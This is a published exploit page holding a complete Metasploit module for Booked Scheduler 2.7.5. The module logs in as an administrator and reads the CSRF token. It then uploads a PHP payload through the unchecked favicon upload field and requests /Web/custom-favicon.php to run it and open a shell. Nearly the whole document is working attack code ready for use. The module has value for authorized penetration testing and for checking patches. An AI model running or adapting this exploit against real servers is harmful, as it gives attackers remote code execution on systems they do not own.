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Booked Scheduler 2.7.5 Remote Command Execution

Booked Scheduler 2.7.5 Remote Command Execution
Posted Mar 5, 2019
Authored by Ozkan Mustafa Akkus | Site metasploit.com

This Metasploit module exploits a file upload vulnerability Booked 2.7.5. In the "Look and Feel" section of the management panel, you can modify the Logo-Favico-CSS files. Upload sections has file extension control except favicon part. You can upload the file with the extension you want through the Favicon field. The file you upload is written to the main directory of the site under the name "custom-favicon". After you upload the php payload to the main directory, the exploit executes the payload and receives a shell.

tags | exploit, shell, php, file upload
MD5 | d99806184924b3c9ff46a07a219526b9

Booked Scheduler 2.7.5 Remote Command Execution

Change Mirror Download
## 
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize
super(
'Name' => 'Booked Scheduler v2.7.5 - Remote Command Execution',
'Description' => %q{
This module exploits a file upload vulnerability Booked 2.7.5.
In the "Look and Feel" section of the management panel, you can modify the Logo-Favico-CSS files.
Upload sections has file extension control except favicon part.
You can upload the file with the extension you want through the Favicon field.
The file you upload is written to the main directory of the site under the name "custom-favicon".
After upload the php payload to the main directory, Exploit executes payload and receives shell.
},
'Author' => [
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/Booked-2-7-5-Remote-Command-Execution-Metasploit.html'],
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Booked Scheduler v2.7.5', {}]
],
'DisclosureDate' => '01 March 2019',
'Privileged' => false,
'DefaultTarget' => 0
)

register_options(
[
OptBool.new('SSL', [true, 'Use SSL', false]),
OptString.new('TARGETURI', [true, 'The base path to Booked', '/']),
OptString.new('USER', [true, 'User to login with', 'admin']),
OptString.new('PASS', [true, 'Password to login with', 'admin']),
], self.class)
end
##
# Check Exploit Vulnerable
##
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/Web/index.php")
})

if res and res.code == 200 and res.body =~ /v2.7.5/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
return res
end
##
# Exploit Portion
##
def exploit
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, "/Web/index.php"),
'vars_post' => {
"email" => datastore['USER'],
"password" => datastore['PASS'],
"captcha" => "",
"resume" => "",
"language" => "en_us",
"login" => "submit"

}
})

if res and res.code == 302
print_status("Successful redirection to admin dashboard.")
else
return res
end

get_cookie = res.get_cookies
cookie = get_cookie
##
# Login Access Control
##
control = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "/Web/dashboard.php")
})

html = control.body
if html =~ /Dashboard/
print_good("Login successfuly")
else
print_status("User information is incorrect. Login failed")
exit 0
end
##
# Reading CSRF Token
##
csrf = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "/Web/admin/manage_theme.php")
})

html = control.body
if html =~ /Look and Feel/
token = csrf.body.split('CSRF_TOKEN" value=')[1].split(";")[0].split('/')[0].split('"')[1]
print_status("CSRF Token = #{token}")
else
print_status("User information is incorrect. Login failed")
exit 0
end
##
# Loading phase of the vulnerable file
##
boundary = Rex::Text.rand_text_alphanumeric(29)

data2 = "-----------------------------{boundary}"
data2 << "\r\nContent-Disposition: form-data; name=\"LOGO_FILE\"\r\n\r\n\r\n"
data2 << "-----------------------------{boundary}"
data2 << "\r\nContent-Disposition: form-data; name=\"FAVICON_FILE\"; filename=\"akkus.php\""
data2 << "\r\nContent-Type: text/html\r\n\r\n"
data2 << payload.encoded
data2 << "\n\r\n-----------------------------{boundary}"
data2 << "\r\nContent-Disposition: form-data; name=\"CSS_FILE\"\r\n\r\n\r\n"
data2 << "-----------------------------{boundary}"
data2 << "\r\nContent-Disposition: form-data; name=\"CSRF_TOKEN\"\r\n\r\n"
data2 << "#{token}"
data2 << "\r\n-----------------------------{boundary}--\r\n"

res = send_request_raw(
{
'method' => "POST",
'uri' => normalize_uri(target_uri, "/Web/admin/manage_theme.php?action=update"),
'data' => data2,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
},
'cookie' => cookie
})

if res and res.code == 200
print_good "Payload was successfully uploaded."
else
print_error "Upload failed."
return
end
##
# Command execution and shell retrieval
##
print_status("Attempting to execute the payload...")

command = payload.encoded

res = send_request_cgi(
{
'uri' => normalize_uri(target_uri, "/Web/custom-favicon.php"),
'cookie' => cookie
}, 25)


if res and res.code == 200
print_good "Payload executed successfully"
end
end
end
##
# End
##

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